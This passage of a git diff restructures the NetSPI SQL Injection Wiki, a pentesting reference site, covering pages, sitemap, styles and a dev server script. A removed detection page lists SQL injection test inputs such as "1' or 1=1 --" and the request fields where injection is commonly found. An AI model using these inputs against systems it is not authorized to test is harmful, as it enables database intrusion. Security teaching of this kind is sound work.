decodeURIComponent(results[2].replace(/\+/g, " ")); -} - -//Update a query string paramter in the url -function updateQueryStringParameter(key, value) { - var re = new RegExp("([?&])" + key + "=.*?(&|$)", "i"); - var uri = window.location.search; - var separator = uri.indexOf('?') !== -1 ? - "&" : - "?"; - if (uri.match(re)) { - updateRoute(window.location.pathname + uri.replace(re, '$1' + key + "=" + value + '$2')) - } else { - updateRoute(window.location.pathname + uri + separator + key + "=" + value) - } -} - -//On forward/back buttons refresh everything -$(window).on("popstate", function(e) { - loadPage(); - if (getRouteProperty('pageType') == TAB_PAGE_TYPE) { - $('.nav-link').blur(); //A bug that when you hit the back/fowrard button a tab doesn't always blur - } - setActiveNav(); -}); - -//Get a cookie value -function getCookie(name) { - var value = "; " + document.cookie; - var parts = value.split("; " + name + "="); - if (parts.length == 2) { - return parts.pop().split(";").shift(); - } else { - return undefined; - } -} - -//If we're on mobile don't open the nav on default -if (getCookie('nav') == "false" || isMobile) { - closeNavigation(); -} - -//Toggle the navigation -function toggleNavigation() { - $('.n-nav-icon').toggleClass('open'); - $('.n-nav-icon').toggleClass('active'); - $(".n-navbar").toggleClass('active'); - if (!isMobile) { //Save the user's preference on desktop - document.cookie = "nav=" + $('.n-navbar').hasClass('active'); - } -} - -//Close the navigation -function closeNavigation() { - $('.n-nav-icon').removeClass('open'); - $('.n-nav-icon').removeClass('active'); - $(".n-navbar").removeClass('active'); - $('body').removeClass('noscroll'); -} -//Open the navigation -function openNavigation() { - $('.n-nav-icon').addClass('open'); - $('.n-nav-icon').addClass('active'); - $('.n-navbar').addClass('active'); -} diff --git a/misc/contributors.html b/misc/contributors.html new file mode 100644 index 0000000..91de41b --- /dev/null +++ b/misc/contributors.html @@ -0,0 +1,22 @@ +--- +layout: default +description: Huge amounts of thanks to all of our contributors! +keywords: contributors +title: Contributors | NetSPI SQL Injection Wiki +--- +<h3>Special thanks to our contributors:</h3> +<ul> + <li><h4>Aaron Yaeger</h4></li> + <li><h4>Antti Rantasaari</h4></li> + <li><h4>Ben Tindell</h4></li> + <li><h4>Colin Salisbury</h4></li> + <li><h4>Eric Gruber (@egru)</h4></li> + <li><h4>Ian Williams (@aph3rson)</h4></li> + <li><h4>Jake Reynolds (@jreynoldsdev)</h4></li> + <li><h4>Khai Tran (@k_tr4n)</h4></li> + <li><h4>Rafael Seferyan</h4></li> + <li><h4>Scott Sutherland (@_nullbind)</h4></li> + <li><h4>Sachin Wagh (@tigertigerboy07)</h4></li> + <li><h4>Anurag Kumar (@anukaal)</h4></li> + <li><h4>Matthias Altmann (@secf00tprint)</h4></li> +</ul> diff --git a/misc/references/PostgreSQL.html b/misc/references/PostgreSQL.html new file mode 100644 index 0000000..fab0f57 --- /dev/null +++ b/misc/references/PostgreSQL.html @@ -0,0 +1,6 @@ +<h3 id="special-thanks-to">Special thanks to:</h3> + +<p> + <a target="_blank" rel="noopener" href="https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5">https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5</a> <br/> + <a target="_blank" rel="noopener" href="https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9">https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9</a> <br/> +</p> diff --git a/misc/references/index.html b/misc/references/index.html new file mode 100644 index 0000000..9c83270 --- /dev/null +++ b/misc/references/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: Thanks to all of our reference sources for their amazing information. +keywords: references +title: References | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: PostgreSQL + fileName: PostgreSQL.html +--- diff --git a/build/MySQL/misc/references.html b/misc/references/mysql.html similarity index 100% rename from build/MySQL/misc/references.html rename to misc/references/mysql.html diff --git a/build/Oracle/misc/references.html b/misc/references/oracle.html similarity index 100% rename from build/Oracle/misc/references.html rename to misc/references/oracle.html diff --git a/build/SQLServer/misc/references.html b/misc/references/sqlserver.html similarity index 100% rename from build/SQLServer/misc/references.html rename to misc/references/sqlserver.html diff --git a/misc/sandboxes/index.html b/misc/sandboxes/index.html new file mode 100644 index 0000000..9d1fde7 --- /dev/null +++ b/misc/sandboxes/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Here are some great online SQL sandboxes to test out your queries. +keywords: sandboxes, online +title: Sandboxes | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/misc/sandboxes.html b/misc/sandboxes/mysql.html similarity index 100% rename from build/MySQL/misc/sandboxes.html rename to misc/sandboxes/mysql.html diff --git a/build/Oracle/misc/sandboxes.html b/misc/sandboxes/oracle.html similarity index 100% rename from build/Oracle/misc/sandboxes.html rename to misc/sandboxes/oracle.html diff --git a/build/SQLServer/misc/sandboxes.html b/misc/sandboxes/sqlserver.html similarity index 68% rename from build/SQLServer/misc/sandboxes.html rename to misc/sandboxes/sqlserver.html index 4dd579d..1cbbf8b 100644 --- a/build/SQLServer/misc/sandboxes.html +++ b/misc/sandboxes/sqlserver.html @@ -3,5 +3,4 @@ <h3 id="sandboxes">Sandboxes</h3> <p>Some useful online sandboxes for testing queries can be found below: <br> <a rel="noopener" target="_blank" href="http://sqlfiddle.com/#!6">http://sqlfiddle.com/</a> <br> <a rel="noopener" target="_blank" href="https://turbo.net/sql">https://turbo.net/sql</a> <br> - <a rel="noopener" target="_blank" href="https://sqlzoo.net/">https://sqlzoo.net/</a> <br> - <a rel="noopener" target="_blank" href="http://www.headfirstlabs.com/sql_hands_on/">http://www.headfirstlabs.com/sql_hands_on/</a></p> + <a rel="noopener" target="_blank" href="https://sqlzoo.net/">https://sqlzoo.net/</a></p> diff --git a/misc/tools/index.html b/misc/tools/index.html new file mode 100644 index 0000000..fbb6bb1 --- /dev/null +++ b/misc/tools/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Here are some great tools to aid in learning and automating SQL Injections. +keywords: tools +title: Tools | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/misc/tools.html b/misc/tools/mysql.html similarity index 100% rename from build/MySQL/misc/tools.html rename to misc/tools/mysql.html diff --git a/build/Oracle/misc/tools.html b/misc/tools/oracle.html similarity index 100% rename from build/Oracle/misc/tools.html rename to misc/tools/oracle.html diff --git a/build/SQLServer/misc/tools.html b/misc/tools/sqlserver.html similarity index 100% rename from build/SQLServer/misc/tools.html rename to misc/tools/sqlserver.html diff --git a/runit.py b/runit.py deleted file mode 100644 index 55e8414..0000000 --- a/runit.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python -import os -import sys -import urlparse -import SimpleHTTPServer -import time -class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): - def end_headers(self): - self.send_my_headers() - SimpleHTTPServer.SimpleHTTPRequestHandler.end_headers(self) - - def send_my_headers(self): - #Only cache images - if not self.path.endswith("png"): - self.send_header("Cache-Control", "no-cache, no-store, must-revalidate") - self.send_header("Pragma", "no-cache") - self.send_header("Expires", "0") - - def do_GET(self): - urlparts = urlparse.urlparse(self.path) - request_file_path = urlparts.path - if not os.path.exists(os.getcwd()+request_file_path): - self.path = 'index.html' - - return SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) - -if __name__ == '__main__': - SimpleHTTPServer.test(HandlerClass=MyHTTPRequestHandler) diff --git a/sitemap.xml b/sitemap.xml index 4783c19..893f7f8 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1,75 +1,78 @@ <?xml version="1.0" encoding="UTF-8"?> -<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> - <url> - <loc>https://sqlwiki.netspi.com/</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/detection</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/dbmsIdentification</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/injectionTypes</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTypes/errorBased</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTypes/unionBased</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTypes/blindBased</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/injectionTechniques</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTechniques/conditionalStatements</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTechniques/injectionPlacement</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/injectionTechniques/obfuscation</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/attackQueries</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/informationGathering</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/dataTargeting</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/privilegeEscalation</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/executingOSCommands</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/readingAndWritingFiles</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/lateralMovement</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/dataExfiltration</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/attackQueries/persistence</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/contributors</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/misc/references</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/misc/sandboxes</loc> - </url> - <url> - <loc>https://sqlwiki.netspi.com/tab/misc/tools</loc> - </url> +<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> +<url> +<loc>https://sqlwiki.netspi.com/detection</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTechniques/obfuscation/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTechniques/conditionalStatements/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTechniques/injectionPlacement/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTechniques/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/misc/references/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/misc/tools/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/misc/sandboxes/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/misc/contributors</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/dbmsIdentification/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTypes/blindBased/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTypes/errorBased/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTypes/unionBased/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/injectionTypes/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/persistence/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/dataExfiltration/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/informationGathering/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/readingAndWritingFiles/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/privilegeEscalation/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/executingOSCommands/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/lateralMovement/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/parameterManipulation/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/dataTargeting/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/attackQueries/</loc> +</url> +<url> +<loc>https://sqlwiki.netspi.com/</loc> +</url> </urlset> diff --git a/stylesheets/index.css b/stylesheets/index.css deleted file mode 100644 index ca38a11..0000000 --- a/stylesheets/index.css +++ /dev/null @@ -1,261 +0,0 @@ -html, body { - font-family: "NetSPISegoe"; - font-weight: 400; - min-height: 100%; - background: white; - color: #3d3935; -} - -@font-face { - font-family: NetSPISegoeBold; - src: url(/fonts/segoe-ui-bold.ttf), url(/fonts/segoe-ui-bold.eot?#iefix); -} - -@font-face { - font-family: NetSPISegoe; - src: url(/fonts/segoe-ui.ttf), url(/fonts/segoe-ui.eot?#iefix); -} - -.header { - text-align: center; -} - -code { - color: black; - font-family: monospace; -} - -ul.noindent { - padding-left: 20px; -} - -#injectionPlaceholder { - width: 80vw; - margin-left: auto; - margin-right: auto; -} - -.injectionDescription { - margin-top: 20px; - font-size: 20px; -} - -.readableText { - margin-top: 20px; - font-size: 20px; -} - -.injectionSubheading { - margin-top: 20px; - margin-bottom: 20px; -} - -#navButton { - position: fixed; - bottom: 10px; - right: 10px; -} - -#homeWrapper { - font-size: 19px; -} - -.spinner { - width: 40px; - height: 40px; - position: relative; - margin: 20px auto; -} - -.absoluteSpinner { - position: absolute; - left: 50%; - top: 50%; -} - -.double-bounce1, .double-bounce2 { - width: 100%; - height: 100%; - border-radius: 50%; - background-color: #3d3935; - opacity: 0.6; - -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; - position: absolute; - top: 0; - left: 0; - -webkit-animation: sk-bounce 2.0s infinite ease-in-out; - animation: sk-bounce 2.0s infinite ease-in-out; -} - -.double-bounce2 { - -webkit-animation-delay: -1.0s; - animation-delay: -1.0s; -} - -@-webkit-keyframes sk-bounce { - 0%, 100% { - -webkit-transform: scale(0.0) - } - 50% { - -webkit-transform: scale(1.0) - } -} - -@keyframes sk-bounce { - 0%, 100% { - transform: scale(0.0); - -webkit-transform: scale(0.0); - } - 50% { - transform: scale(1.0); - -webkit-transform: scale(1.0); - } -} - -.loadWrapper .loading { - position: fixed; - top: 0px; -} - -.loadWrapper #imageWrapper { - height: 100vh; - width: 300px; - height: 81px; - margin-left: auto; - margin-right: auto; -} - -.loadWrapper img { - margin-top: 40vh; - width: 300px; -} - -.loadWrapper { - -webkit-transition: .5s ease; - transition: .5s ease; - background: white; - text-align: center; -} - -.fullpage { - position: fixed; - height: 100vh; - width: 100vw; - z-index: 10000; -} - -.hidden { - display: none; -} - -a { - cursor: pointer; - cursor: hand; -} - -.injectionHighlight { - color: rgba(207, 10, 44, 1); -} - -#contentContainer { - overflow: auto; - display: block; - padding-left: 45px; - padding-right: 45px; - padding-top: 90px; - -webkit-transition: .5s ease; - transition: .5s ease; - margin-left: auto; -} - -.tab-content { - padding-top: 20px; -} - -.table { - font-family: monospace; -} - -pre { - font-family: monospace; - background: #eceeef; - padding: 5px; -} - -.table tbody tr td { - word-break: break-word; -} - -.dataPreview { - display: none; -} - -.dataPreview.show { - display: inline; -} - -.dataPreviewLink { - display: none; -} - -.dataPreviewLink.show { - display: block; -} - -.collapseRow { - position: relative; - max-height: 400px; - overflow: hidden; - padding-bottom: 24px; -} - -.collapseRow.open { - max-height: none; -} - -.showMore { - height: 24px; - text-align: center; - position: absolute; - bottom: 0px; - color: black; - padding-right: 5px; - background: white; - width: 100%; - cursor: pointer; - cursor: hand; - -webkit-transition: text-decoration .25s ease; - transition: text-decoration .25s ease; -} - -tr td:first-of-type { - width: 300px; -} - - -/*Equally space all columns on these tables*/ - -.threePlusColumnTable tr td { - width: 1%; -} - -tr:nth-of-type(odd) .showMore { - background: #f9f9f9; -} - -tr:hover .showMore { - background: #f5f5f5; -} - -.showMore:hover { - text-decoration: underline; -} - -@media (max-width: 700px) { - #contentContainer { - font-size: 15px; - } - tr td { - width: 1% !important; - } -} diff --git a/stylesheets/nav.css b/stylesheets/nav.css deleted file mode 100644 index 9ddfd97..0000000 --- a/stylesheets/nav.css +++ /dev/null @@ -1,310 +0,0 @@ -#logo { - width: 50px; -} - -.n-navbar { - width: 0px; - height: 100%; - background: #333333; - position: fixed; - top: 0px; - float: left; - overflow-y: hidden; - overflow-x: hidden; - font-family: "NetSPISegoe"; - color: white; - font-size: 18px; - -webkit-transition: .5s ease; - transition: .5s ease; - padding-top: 20px; -} - -#topBar { - background: white; - padding: 10px; - position: absolute; - width: 100%; -} - -#topBar #logoContainer { - position: absolute; - right: 40px; - cursor: hand; - cursor: pointer; -} - -#topBar #logoContainer img { - height: 50px; -} - -#topBar #logoContainer div { - text-align: right; -} - -.n-parent-nav-item { - font-size: 20px; - color: white; -} - -.nav-link { - color: #CE112D; -} - -.nav-link:hover { - color: #3d3935; -} - -.n-navbar.active { - width: 300px; - overflow-y: auto; -} - -.link {} - -.link:hover { - text-decoration: underline; -} - - -/*When the nav bar is closed let content be full width*/ - -.n-navbar+#contentContainer { - width: calc(100%); -} - - -/*When the nav bar is open, restrict the width of the content container*/ - -.n-navbar.active+#contentContainer { - width: calc(100% - 300px); -} - -.n-navbar ul { - -webkit-transition: .5s ease; - padding-left: 0px; - width: 300px; -} - -.n-navbar .n-nav-item { - margin-left: -300px; - -webkit-transition: margin-left .5s ease, padding-left .5s ease, background-color .25s ease; - transition: margin-left .5s ease, padding-left .5s ease, background-color .25s ease; - padding-left: 25px; - width: 275px; -} - -.n-navbar .n-parent-nav-item { - margin-left: -300px; - padding-left: 25px; - -webkit-transition: margin-left .5s ease; - transition: margin-left .5s ease; -} - -.n-navbar.active .n-parent-nav-item { - margin-left: 0px; -} - -.n-navbar.active .n-nav-item { - margin-left: 0px; - padding-left: 25px; - width: 275px; - background: rgba(207, 10, 44, 0); -} - -.n-navbar.active .n-nav-item.active { - width: 275px; - background: rgba(207, 10, 44, 1); -} - -.n-navbar .n-nav-item.active a { - color: white !important; -} - -.n-navbar .n-nav-item.active { - border-top-right-radius: 5px; - border-bottom-right-radius: 5px; - background: rgba(207, 10, 44, 1); -} - -.n-nav-item a { - -webkit-touch-callout: none; - /* iOS Safari */ - -webkit-user-select: none; - /* Safari */ - /* Konqueror HTML */ - -moz-user-select: none; - /* Firefox */ - -ms-user-select: none; - /* Internet Explorer/Edge */ - user-select: none; - /**/ -} - -img { - -webkit-touch-callout: none; - /* iOS Safari */ - -webkit-user-select: none; - /* Safari */ - /* Konqueror HTML */ - -moz-user-select: none; - /* Firefox */ - -ms-user-select: none; - /* Internet Explorer/Edge */ - user-select: none; - /**/ -} - -.n-parent-nav-item { - -webkit-touch-callout: none; - /* iOS Safari */ - -webkit-user-select: none; - /* Safari */ - /* Konqueror HTML */ - -moz-user-select: none; - /* Firefox */ - -ms-user-select: none; - /* Internet Explorer/Edge */ - user-select: none; - /**/ -} - -.n-navbar ul:first-child { - margin-top: 0px; -} - -.n-nav-item a { - color: #929191; -} - -.n-top-nav-item { - font-size: 20px; - padding-left: 25px !important; - margin-top: 10px; -} - -.n-top-nav-item a { - color: white !important; -} - -li { - list-style-type: none; -} - -.n-nav-icon span:nth-child(1) { - top: 0px; -} - -.n-nav-icon span:nth-child(2), .n-nav-icon span:nth-child(3) { - top: 10px; -} - -.n-nav-icon span:nth-child(4) { - top: 20px; -} - -.n-nav-icon.open span:nth-child(1) { - top: 10px; - width: 0%; - left: 50%; -} - -.n-nav-icon.open span:nth-child(4) { - top: 10px; - width: 0%; - left: 50%; -} - -.n-nav-icon.open span:nth-child(2) { - -webkit-transform: rotate(45deg); - transform: rotate(45deg); -} - -.n-nav-icon.open span:nth-child(3) { - -webkit-transform: rotate(-45deg); - transform: rotate(-45deg); -} - -.n-nav-icon { - width: 45px; - height: 45px; - position: fixed; - top: calc(25px/2); - float: left; - /*background: rgba(61, 57, 53, .7);*/ - z-index: 5000; - margin-bottom: 10px; - left: 0px; - border-radius: 5px; - -webkit-transform: rotate(0deg); - transform: rotate(0deg); - -webkit-transition: .5s ease; - transition: .5s ease; - cursor: pointer; -} - -.n-nav-icon.active { - left: 300px; -} - -.n-nav-icon span { - display: block; - position: absolute; - height: 5px; - width: 27px; - /*background: white;*/ - background: rgba(61, 57, 53, 1); - border-radius: 9px; - opacity: 1; - -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; - margin-top: 10px; - margin-left: 9px; - left: 0; - -webkit-transform: rotate(0deg); - transform: rotate(0deg); - -webkit-transition: .25s ease; - transition: .25s ease; -} - -.mobile { - display: none; - height: 0px; - width: 0px; -} - -.noscroll { - overflow: hidden; -} - -@media (max-width: 900px) { - #topBar { - text-align: right; - } -} - -@media (max-width: 700px) { - .n-navbar.active { - width: 100vw; - overflow-y: auto; - } - .n-nav-icon.active { - /*Pull it in a bit so the icon doesn't go over any scrollbar*/ - left: calc(85vw - 25px); - } - .n-nav-icon.active span { - background: white; - } - .n-navbar li { - font-size: 20px; - } - .n-nav-item { - width: 400px !important; - max-width: 95vw; - } - /*Don't compress the background content all weird when the nav bar goes full screen*/ - .n-navbar.active+#contentContainer { - width: 100%; - } - .mobile { - display: block; - } -} diff --git a/views/attackQueries.html b/views/attackQueries.html deleted file mode 100644 index 2d158ac..0000000 --- a/views/attackQueries.html +++ /dev/null @@ -1,22 +0,0 @@ -<h3 id="sql-injection-detection">Attack Queries</h3> -<p class="readableText">Once the injectable parameters and DBMS type are identified we need to attack the database. Below you will find various section to aid you in escalating privileges, exfiltrating data, and more.</p> -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/informationGathering')">Information Gathering</a></h4> -<p id="informationGathering" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/dataTargeting')">Data Targeting</a></h4> -<p id="dataTargeting" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/privilegeEscalation')">Privilege Escalation</a></h4> -<p id="privilegeEscalation" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/executingOSCommands')">Executing OS Commands</a></h4> -<p id="executingOSCommands" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/readingAndWritingFiles')">Reading and Writing Files</a></h4> -<p id="readingAndWritingFiles" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/lateralMovement')">Lateral Movement</a></h4> -<p id="lateralMovement" class="injectionDescription"></p> - -<h4 class="injectionSubheading"><a class="link" onClick="updateRoute('/tab/attackQueries/dataExfiltration')">Data Exfiltration</a></h4> -<p id="dataExfiltration" class="injectionDescription"></p> diff --git a/views/contributors.html b/views/contributors.html deleted file mode 100644 index 97fbaf9..0000000 --- a/views/contributors.html +++ /dev/null @@ -1,12 +0,0 @@ -<h3>Special thanks to our contributors:</h3> -<ul> - <li><h4>Aaron Yaeger</h4></li> - <li><h4>Antti Rantasaari</h4></li> - <li><h4>Ben Tindell</h4></li> - <li><h4>Colin Salisbury</h4></li> - <li><h4>Eric Gruber (@egru)</h4></li> - <li><h4>Jake Reynolds (@jreynoldsdev)</h4></li> - <li><h4>Kai Tran (@k_tr4n)</h4></li> - <li><h4>Rafael Seferyan</h4></li> - <li><h4>Scott Sutherland (@_nullbind)</h4></li> -</ul> diff --git a/views/detection.html b/views/detection.html deleted file mode 100644 index 4fd6b28..0000000 --- a/views/detection.html +++ /dev/null @@ -1,95 +0,0 @@ -<h3 id="sql-injection-detection">SQL Injection Detection</h3> -<p id="injectionDetection" class="injectionDescription"></p> -<h4 class="injectionSubheading">Parameter Locations</h4> -<p>Browse the tabs below to see common injection points in various HTTP requests. Common injection points are <span class="injectionHighlight">highlighted in red</span></p> -<ul class="nav nav-tabs" id="injectionTabs"> - <li class="nav-item"><a class="nav-link active" href="#Query" role="tab" data-toggle="tab">GET - HTTP Request</a></li> - <li class="nav-item"><a class="nav-link" href="#FormData" role="tab" data-toggle="tab">POST - Form Data</a></li> - <li class="nav-item"><a class="nav-link" href="#JSON" role="tab" data-toggle="tab">POST - JSON</a></li> - <li class="nav-item"><a class="nav-link" href="#XML" role="tab" data-toggle="tab">POST - XML</a></li> -</ul> -<div class="tab-content"> - <div role="tabpanel" class="tab-pane fade in active" id="Query"> - <p>In a generic HTTP GET request (and most request types) there are a few common injection points. URL parameters, like <code>id</code> in the below request, cookie names and values, the Host header, and any custom headers are most likely. However, any content in an HTTP request can be vulnerable to SQL injection.</p> - <pre> -GET /?id=<span class="injectionHighlight">homePage</span> HTTP/1.1 -Host: <span class="injectionHighlight">www.netspi.com</span> -Connection: close -Cache-Control: max-age=0 -User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 -Upgrade-Insecure-Requests: 1 -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 -Accept-Encoding: gzip, deflate -Accept-Language: en-US,en;q=0.9 -X-Server-Name: <span class="injectionHighlight">PROD</span> -Cookie: user=<span class="injectionHighlight">harold</span>; - -</pre> - </div> - <div role="tabpanel" class="tab-pane fade" id="FormData"> - <p>In a standard HTTP POST request with a Content-Type of application/x-www-form-urlencoded the injections will be similar to URL parameters in a GET request. They are located below the HTTP headers, but can still be exploited in the same ways.</p> - <pre> -POST / HTTP/1.1 -Host: netspi.com.com -Content-Type: application/x-www-form-urlencoded -Content-Length: 39 - -username=<span class="injectionHighlight">harold</span>&email=<span class="injectionHighlight">harold@netspi.com</span></pre> - </div> - <div role="tabpanel" class="tab-pane fade" id="JSON"> - <p>In a standard HTTP POST request with a Content-Type of application/json the injections will be usually be in the values of a JSON <code>{"key":"value"}</code> pair. The value may be an array or an object as well. Although the notation is different, the values can be injected the same way as all other parameters. (Hint: try <code>'</code>, but make sure the JSON is using double quotes, otherwise you may break the request format.)</p> - <pre> -POST / HTTP/1.1 -Host: netspi.com.com -Content-Type: application/json -Content-Length: 56 - -{ - "username":"<span class="injectionHighlight">harold</span>", - "email":"<span class="injectionHighlight">harold@netspi.com</span>" -}</pre> - </div> - <div role="tabpanel" class="tab-pane fade" id="XML"> - <p>In a standard HTTP POST request with a Content-Type of application/xml the injections will usually be inside an <code><xmlObject></xmlObject></code>. Although the notation is different, the values can be injected the same way as all other parameters. (Hint: <code>'</code>)</p> - <pre> -POST / HTTP/1.1 -Host: netspi.com.com -Content-Type: application/xml -Content-Length: 79 - -<root> - <username><span class="injectionHighlight">harold</span></username> - <email><span class="injectionHighlight">harold@netspi.com</span></email> -</root> -</pre> - </div> -</div> -<h4 class="injectionSubheading">Detecting Injections</h4> -<p>Detecting vulnerable parameters is most easily done by triggering errors and boolean logic within the application. Supplying malformed queries will trigger errors and sending valid queries with various boolean logic statements will trigger different responses from the web server.</p> -<p><i>Note: True or false statements should return different responses through HTTP status codes or HTML contents. If these responses are consistent with the true/false nature of the query, this identifies an injection.</i></p> -<table class="table table-striped table-hover"> - <thead> - <tr> - <th>Description</th> - <th align="left">Query</th> - </tr> - </thead> - <tbody> - <tr> - <td>Logic Testing<br/></td> - <td>page.asp?id=1 or 1=1 -- <i>true</i><br>page.asp?id=1' or 1=1 -- <i>true</i><br>page.asp?id=1" or 1=1 -- <i>true</i><br>page.asp?id=1 and 1=2 -- <i>false</i></td> - </tr> - <tr> - <td>Arithmetic</td> - <td>product.asp?id=1/1 -- <i>true</i><br/>product.asp?id=1/0 -- <i>false</i></td> - </tr> - <tr> - <td>Blind based<br/><i>Note: Detecting blind injection may require identification or guess-and-check of the DBMS to find the proper timing function.</i></td> - <td>See <a onClick="updateRoute('/tab/injectionTypes/blindBased')">here</a></td> - </tr> - <tr> - <td>Error based<br/><i>Note: Logic testing and arithmetic with invalid syntax may also help cause errors.</i></td> - <td>See <a onClick="updateRoute('/tab/injectionTypes/errorBased')">here</a></td> - </tr> - </tbody> -</table> diff --git a/views/home.html b/views/home.html deleted file mode 100644 index 82a6d60..0000000 --- a/views/home.html +++ /dev/null @@ -1,15 +0,0 @@ -<h2 id="header">Welcome to the NetSPI SQL Injection Wiki!</h2> -<div id="homeWrapper"> - <p class="readableText">This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems (DBMS). This wiki assumes you have a basic understanding of SQL injection, please - go <a href="https://www.owasp.org/index.php/SQL_Injection" rel="noopener" target="_blank">here</a> for an introduction if you are unfamiliar.</p> - <p class="readableText">Below is an outline of the wiki's structure, laid out in the order of a normal escalation path. Certain queries may be version specific.</p> - <h3>Step 1: <a onClick="updateRoute('/detection')">Injection Detection</a></h3> - <h3>Step 2: <a onClick="updateRoute('/tab/dbmsIdentification/dbmsIdentification')">DBMS Identification</a></h3> - <h3>Step 3: <a onClick="updateRoute('/injectionTypes')">Injection Types</a></h3> - <h3>Step 4: <a onClick="updateRoute('/injectionTechniques')">Injection Techniques</a></h3> - <h3>Step 5: <a onClick="updateRoute('/attackQueries')">Attack Queries</a></h3> - <p></p> - <h3>Contributing</h3> - <p>Please feel free to submit pull requests or issues on our <a href="https://github.com/NetSPI/SQLInjectionWiki" target="_blank" rel="noopener">Github</a> if you notice something that is missing or inaccurate.</p> - <p>© 2017 Copyright by 